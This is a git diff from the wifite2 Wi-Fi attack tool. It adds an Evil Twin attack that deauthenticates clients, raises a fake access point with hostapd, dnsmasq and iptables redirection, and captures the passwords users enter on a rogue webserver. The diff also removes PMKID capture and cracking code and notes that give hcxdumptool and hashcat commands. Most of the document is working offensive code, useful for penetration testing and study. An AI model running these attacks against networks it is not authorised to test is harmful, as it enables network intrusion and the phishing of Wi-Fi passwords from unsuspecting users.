4 Commits

Author SHA1 Message Date
derv82
77e0da3ce7 Fixing hostapd bug 2018-05-27 17:29:02 -04:00
derv82
8e46f6ac01 Merge branch 'master' into eviltwin 2018-05-27 17:17:38 -04:00
derv82
1dcb23659b Fixing eviltwin. Lots of changes. 2018-05-13 12:39:28 -04:00
derv82
94dd02b3ab Adding eviltwin tools, updated args. 2018-04-21 11:44:01 -04:00
56 changed files with 987 additions and 5581 deletions

View File

@@ -3,7 +3,7 @@ FROM python:2.7.14-jessie
ENV DEBIAN_FRONTEND noninteractive
ENV HASHCAT_VERSION hashcat-3.6.0
# Install requirements
# Intall requirements
RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -y
RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y

View File

@@ -1,33 +0,0 @@
### PMKID Attack
See https://hashcat.net/forum/thread-7717.html
### Steps
1. Start `hcxdumptool` (daemon)
* `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
* Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
* Could be a new attack type: `wifite.attack.pmkid`
2. Detect when PMKID is found.
* `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
* Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
* New result type: `pmkid_result`
* Add entry to `cracked.txt`
4. Run crack attack using hashcat:
* `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
### Problems
* Requires latest hashcat to be installed. This might be in a different directory.
* Use can specify path to hashcat? Yeck...
* % hashcat -h | grep 16800
* 16800 | WPA-PMKID-PBKDF2
* If target can't be attacked... we need to detect this failure mode.
* Might need to scrape `hcxdumptool`'s output
* Look at `pmkids()` func in .bashrc
* hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
* Check OUTPUT.16800 for the ESSID.
* Wireless adapter support is minimal, apparently.
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily

View File

@@ -34,7 +34,7 @@ What's gone in Wifite2?
What's not new?
---------------
* (Mostly) Backwards compatible with the original `wifite`'s arguments.
* (Mostly) Backwards compatibile with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves.
Brief Feature List
@@ -71,7 +71,7 @@ Only the latest versions of these programs are supported:
* `iwconfig`: For identifying wireless devices already in Monitor Mode.
* `ifconfig`: For starting/stopping wireless devices.
* `Aircrack-ng` suite, includes:
* `aircrack-ng`: For cracking WEP .cap files and WPA handshake captures.
* `aircrack-ng`: For cracking WEP .cap files and and WPA handshake captures.
* `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks.
* `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices.
* `airodump-ng`: For target scanning & capture file generation.

View File

@@ -11,7 +11,7 @@ When a dependency is not found, Wifite should walk the user through installing a
The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this.
Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this.
Requirements:
@@ -243,7 +243,7 @@ Not "/py":
**AIRCRACK**
* Start aircrack-ng for WEP: Needs pcap file with IVS
* Start aircrack-ng for WPA: Needs pcap file containing Handshake
* Start aircrack-ng for WPA: Needs pcap file containig Handshake
* Check status of aircrack-ng (`percenage`, `keys-tried`)
* Return cracked key

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python
from wifite import wifite

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys

View File

@@ -1,11 +1,10 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0, '..')
from wifite.model.handshake import Handshake
from wifite.util.process import Process
import unittest
@@ -24,29 +23,25 @@ class TestHandshake(unittest.TestCase):
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
try:
hs.analyze()
except Exception:
except Exception, e:
fail()
@unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')
def testHandshakeTshark(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.tshark_handshakes()) > 0)
@unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')
def testHandshakePyrit(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.pyrit_handshakes()) > 0)
@unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')
def testHandshakeCowpatty(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
hs.divine_bssid_and_essid()
assert(len(hs.cowpatty_handshakes()) > 0)
@unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')
def testHandshakeAircrack(self):
hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.tools.airodump import Airodump

0
wifite/__init__.py Executable file → Normal file
View File

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .util.color import Color
@@ -148,12 +148,20 @@ class Arguments(object):
def _add_eviltwin_args(self, group):
group.add_argument('-ev',
group.add_argument('-et',
'--eviltwin',
action='store_true',
dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc.
group.add_argument('-eti',
'--evitwin-iface',
type=str,
dest='eviltwin_iface',
metavar='[iface]',
default=None,
help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)'))
# TODO: Args to specify other options (server port, etc).
def _add_wep_args(self, wep):

0
wifite/attack/__init__.py Executable file → Normal file
View File

View File

@@ -1,105 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color
from ..util.input import raw_input
class AttackAll(object):
@classmethod
def attack_multiple(cls, targets):
attacked_targets = 0
targets_remaining = len(targets)
for index, target in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
bssid = target.bssid
essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
should_continue = cls.attack_single(target, targets_remaining)
if not should_continue:
break
return attacked_targets
@classmethod
def attack_single(cls, target, targets_remaining):
attacks = []
if Configuration.use_eviltwin:
pass # TODO:EvilTwin attack
elif 'WEP' in target.encryption:
attacks.append(AttackWEP(target))
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors
if target.wps:
attacks.append(AttackWPS(target))
attacks.append(AttackPMKID(target))
attacks.append(AttackWPA(target))
if len(attacks) == 0:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
return
for attack in attacks:
try:
result = attack.run()
if result:
break # Attack was successful, stop other attacks.
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
continue
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not cls.user_wants_to_continue(targets_remaining, 1):
return False # Stop attacking other targets
if attack.success:
attack.crack_result.save()
return True # Keep attacking other targets
@classmethod
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True

224
wifite/attack/eviltwin.py Normal file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.dnsmasq import Dnsmasq
from ..tools.hostapd import Hostapd
from ..tools.ifconfig import Ifconfig
from ..tools.iptables import Iptables
from ..tools.eviltwin_server import EviltwinServer
from ..util.color import Color
from ..util.deauther import Deauther
from ..config import Configuration
class EvilTwinAttack(Attack):
'''
Monitor-mode card should be used for deauthing (packet injection).
Other card can be put into AP mode.
'''
def __init__(self, target, deauth_iface, ap_iface):
super(EvilTwinAttack, self).__init__(target)
# Args
self.target = target
self.deauth_iface = deauth_iface
self.ap_iface = ap_iface
# State
self.success = False
self.completed = False
self.crack_result = None
self.error_msg = None
# Processes
self.hostapd = None
self.dnsmasq = None
self.webserver = None
self.deauther = None
def run(self):
#raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
# Start airodump on deuath iface, wait for target, etc.
try:
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='airodump') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump)
Color.clear_entire_line()
self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface)
Ifconfig.up(self.ap_iface, ['10.0.0.1/24'])
Color.clear_entire_line()
self.pattack(airodump_target, 'configuring {C}iptables{W}')
self.configure_iptables(self.ap_iface)
Color.clear_entire_line()
self.pattack(airodump_target, 'enabling {C}port forwarding{W}')
self.set_port_forwarding(enabled=True)
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface)
self.hostapd = Hostapd(self.target, self.ap_iface)
self.hostapd.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface)
self.dnsmasq = Dnsmasq(self.ap_iface)
self.dnsmasq.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}evil webserver{W}...')
self.webserver = EviltwinServer(self.success_callback, self.error_callback)
self.webserver.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}deauther{W}...')
self.deauther = Deauther(self.deauth_iface, self.target)
#self.deauther.start()
Color.clear_entire_line()
while not self.completed:
time.sleep(1)
airodump_target = self.wait_for_target(airodump)
# TODO: Check hostapd, dnsmasq, and webserver statistics
self.pattack(airodump_target, 'waiting for clients')
# Update deauther with latest client information
self.deauther.update_target(airodump_target)
except KeyboardInterrupt:
# Cleanup
Color.pl('\n{!} {O}Interrupted{W}')
if self.success:
# TODO: print status & save
self.cleanup()
return
if self.error_msg:
self.cleanup()
raise Exception(self.error_msg)
self.cleanup()
def pattack(self, airodump_target, status):
Color.pattack('EvilTwin', airodump_target, 'attack', status)
def success_callback(self, crack_result):
# Called by webserver when we get a password
self.crack_result = crack_result
self.success = True
self.completed = True
def status_callback(self, status_message):
# Called by webserver on status update
pass
def error_callback(self, error_msg):
# Called by webserver on error / failure
self.completed = True
self.error_msg = error_msg
def cleanup(self):
if self.dnsmasq:
self.dnsmasq.stop()
if self.hostapd:
self.hostapd.stop()
if self.webserver:
self.webserver.stop()
# From https://stackoverflow.com/a/268686
if self.deauther:
self.deauther.stop()
self.set_port_forwarding(enabled=False)
Iptables.flush() #iptables -F
Iptables.flush(table='nat') #iptables -t nat -F
Iptables.flush(table='mangle') #iptables -t mangle -F
Iptables.delete_chain() #iptables -X
Iptables.delete_chain(table='nat') #iptables -t nat -X
Iptables.delete_chain(table='mangle') #iptables -t mangle -X
def set_port_forwarding(self, enabled=True):
# echo "1" > /proc/sys/net/ipv4/ip_forward
# TODO: Are there other/better ways to do this?
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward:
ip_forward.write('1' if enabled else '0')
def configure_iptables(self, interface):
# iptables -N internet -t mangle
Iptables.new_chain('internet', 'mangle')
#iptables -t mangle -A PREROUTING -j internet
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'internet'
])
#iptables -t mangle -A internet -j MARK --set-mark 99
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'MARK',
'--set-mark', '99',
])
#iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
Iptables.append('PREROUTING', table='nat', rules=[
'--match', 'mark',
'--mark', '99',
'--protocol', 'tcp',
'--dport', '80',
'--jump', 'DNAT',
'--to-destination', '10.0.0.1',
])
#iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', 'eth0',
'--out-interface', interface,
'--match', 'state',
'--state', 'ESTABLISHED,RELATED',
'--jump', 'ACCEPT',
])
#iptables -A FORWARD -m mark --mark 99 -j REJECT
Iptables.append('FORWARD', rules=[
'--match', 'mark',
'--mark', '99',
'--jump', 'REJECT',
])
#iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', interface,
'--out-interface', 'eth0',
'--jump', 'ACCEPT',
])
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Iptables.append('POSTROUTING', table='nat', rules=[
'--out-interface', 'eth0',
'--jump', 'MASQUERADE',
])

View File

@@ -1,190 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
import re
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_file = Configuration.temp('pmkid.pcapng')
def get_existing_pmkid_file(self, bssid):
'''
Load PMKID Hash from a previously-captured hash in ./hs/
Returns:
The hashcat hash (hash*bssid*station*essid) if found.
None if not found.
'''
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
bssid = bssid.lower().replace(':', '')
file_re = re.compile('.*pmkid_.*\.16800')
for filename in os.listdir(Configuration.wpa_handshake_dir):
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
if not os.path.isfile(pmkid_filename):
continue
if not re.match(file_re, pmkid_filename):
continue
with open(pmkid_filename, 'r') as pmkid_handle:
pmkid_hash = pmkid_handle.read().strip()
if pmkid_hash.count('*') < 3:
continue
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
if existing_bssid == bssid:
return pmkid_filename
return None
def run(self):
# TODO: Check that we have all hashcat programs
dependencies = [
Hashcat.dependency_name,
HcxDumpTool.dependency_name,
HcxPcapTool.dependency_name
]
missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
if len(missing_deps) > 0:
Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
return False
pmkid_file = None
# Load exisitng has from filesystem
if Configuration.ignore_old_handshakes == False:
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
if pmkid_file is not None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
# Capture hash from live target.
if pmkid_file is None:
pmkid_file = self.capture_pmkid()
if pmkid_file is None:
return False # No hash found.
# Crack it.
self.success = self.crack_pmkid_file(pmkid_file)
return True # Even if we don't crack it, capturing a PMKID is "successful"
def capture_pmkid(self):
self.keep_capturing = True
self.timer = Timer(60)
# Start hcxdumptool
t = Thread(target=self.dumptool_thread)
t.start()
# Repeatedly run pcaptool & check output for hash for self.target.essid
pmkid_hash = None
pcaptool = HcxPcapTool(self.target)
while self.timer.remaining() > 0:
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
if pmkid_hash is not None:
break # Got PMKID
Color.pattack('PMKID', self.target, 'CAPTURE',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
self.keep_capturing = False
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID\n')
Color.pl("")
return None # No hash found.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
pmkid_file = self.save_pmkid(pmkid_hash)
return pmkid_file
def crack_pmkid_file(self, pmkid_file):
'''
Cracks file containing PMKID hash (*.16800).
If cracked, saves results in self.crack_result
Returns:
True if cracked, False otherwise.
'''
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not found.')
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID...\n')
key = Hashcat.crack_pmkid(pmkid_file)
if key is None:
# Failed to crack.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed{O} to crack PMKID\n')
Color.pl("")
return False
else:
# Successfully cracked.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_file, key)
Color.pl('\n')
self.crack_result.dump()
return True
def dumptool_thread(self):
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
while self.keep_capturing and dumptool.poll() == None:
time.sleep(0.5)
dumptool.interrupt()
def save_pmkid(self, pmkid_hash):
'''
Saves a copy of the pmkid (handshake) to hs/
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
bssid_safe = self.target.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n')
return pmkid_file

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
@@ -29,7 +29,7 @@ class AttackWEP(Attack):
'''
Initiates full WEP attack.
Including airodump-ng starting, cracking, etc.
Returns: True if attack is successful, false otherwise
Returns: True if attack is succesful, false otherwise
'''
aircrack = None # Aircrack process, not started yet
@@ -340,7 +340,7 @@ class AttackWEP(Attack):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccessful.
False is unsuccesful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
@@ -349,7 +349,7 @@ class AttackWEP(Attack):
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is required, fail
# Fakeauth is requried, fail
raise Exception(
'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
@@ -25,7 +25,7 @@ class AttackWPA(Attack):
def run(self):
'''
Initiates full WPA handshake capture attack.
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack
@@ -34,7 +34,10 @@ class AttackWPA(Attack):
self.success = False
return self.success
# Capture the handshake (or use an old one)
handshake = None
# Capture the handshake ("do it live!")
if handshake is None:
handshake = self.capture_handshake()
if handshake is None:
@@ -184,8 +187,8 @@ class AttackWPA(Attack):
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
@@ -250,10 +253,7 @@ class AttackWPA(Attack):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
if handshake.essid and type(handshake.essid) is str:
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
else:
essid_safe = 'UnknownEssid'
bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack

View File

@@ -1,14 +1,16 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import os
from .util.color import Color
from .util.input import raw_input
from .tools.iwconfig import Iwconfig
from .tools.macchanger import Macchanger
class Configuration(object):
''' Stores configuration variables and functions for Wifite. '''
version = '2.1.8'
version = '2.1.5'
initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory
@@ -55,8 +57,7 @@ class Configuration(object):
# EvilTwin variables
cls.use_eviltwin = False
cls.eviltwin_port = 80
cls.eviltwin_deauth_iface = None
cls.eviltwin_fakeap_iface = None
cls.eviltwin_iface = None
# WEP variables
cls.wep_filter = False # Only attack WEP networks
@@ -83,7 +84,6 @@ class Configuration(object):
# Default dictionary for cracking
cls.wordlist = None
wordlists = [
'./wordlist-top4800-probable.txt',
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt'
@@ -123,9 +123,52 @@ class Configuration(object):
if cls.random_mac:
Macchanger.random()
@staticmethod
def get_wireless_interface():
pass
@classmethod
def get_eviltwin_interface(cls):
if cls.eviltwin_iface is None:
Color.pl('\n{+} {G}Evil Twin attack{W}')
Color.p('{+} looking for wireless interfaces in "Managed" mode... ')
ifaces = Iwconfig.get_interfaces(mode='Managed')
if len(ifaces) == 0:
Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}')
raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)')
Color.clear_entire_line()
while True:
# Ask user to select eviltwin interface
Color.pl(' select the interface for the {C}evil twin{W} access point:')
for index, iface in enumerate(ifaces, start=1):
Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface))
question = '{+} enter number ({G}'
if len(ifaces) == 1:
question += '1'
else:
question += '1-%d' % len(ifaces)
question += '{W}): '
selection = raw_input(Color.s(question))
if selection.strip() in ifaces:
selection = str(ifaces.index(selection.strip()) + 1)
elif not selection.isdigit():
Color.pl('\n{!} {O}selection must be numeric{W}')
continue
selection = int(selection)
if selection < 1 or selection > len(ifaces):
Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces))
continue
break
cls.eviltwin_iface = ifaces[selection - 1]
return cls.eviltwin_iface
@classmethod
def load_from_arguments(cls):
@@ -176,10 +219,23 @@ class Configuration(object):
cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin
if args.eviltwin_iface:
# Check that eviltwin_iface exists in iwconfig
existing_ifaces = Iwconfig.get_interfaces()
if args.eviltwin_iface not in existing_ifaces:
raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces)))
# TODO: Put device into managed mode?
cls.eviltwin_iface = args.eviltwin_iface
Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface)
if args.use_eviltwin:
# TODO: Or ask user to select a different wireless device?
cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}')
# WEP
if args.wep_filter:

0
wifite/model/__init__.py Executable file → Normal file
View File

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
class Client(object):

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.process import Process
@@ -184,30 +184,6 @@ class Handshake(object):
Color.pl('%s ({G}%s{W})' % (out_str, essid))
@staticmethod
def check():
''' Analyzes .cap file(s) for handshake '''
from ..config import Configuration
if Configuration.check_handshake == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [Configuration.check_handshake]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
if __name__ == '__main__':
print('With BSSID & ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')

View File

@@ -1,53 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_file, key):
self.result_type = 'PMKID'
self.bssid = bssid
self.essid = essid
self.pmkid_file = pmkid_file
self.key = key
super(CrackResultPMKID, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type))
if self.pmkid_file:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID File'.rjust(19), self.pmkid_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'pmkid_file' : self.pmkid_file
}
if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
print('\n')
w.dump()
w.save()
print(w.__dict__['bssid'])

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
@@ -39,27 +39,6 @@ class CrackResult(object):
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json)))
@classmethod
def display(cls):
''' Show cracked targets from cracked.txt '''
name = cls.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = cls.load(item)
cr.dump()
Color.pl('')
@classmethod
def load_all(cls):
if not os.path.exists(cls.cracked_file): return []
@@ -89,13 +68,6 @@ class CrackResult(object):
json['essid'],
json['pin'],
json['psk'])
elif json['type'] == 'PMKID':
from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'],
json['essid'],
json['pmkid_file'],
json['key'])
result.date = json['date']
return result

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
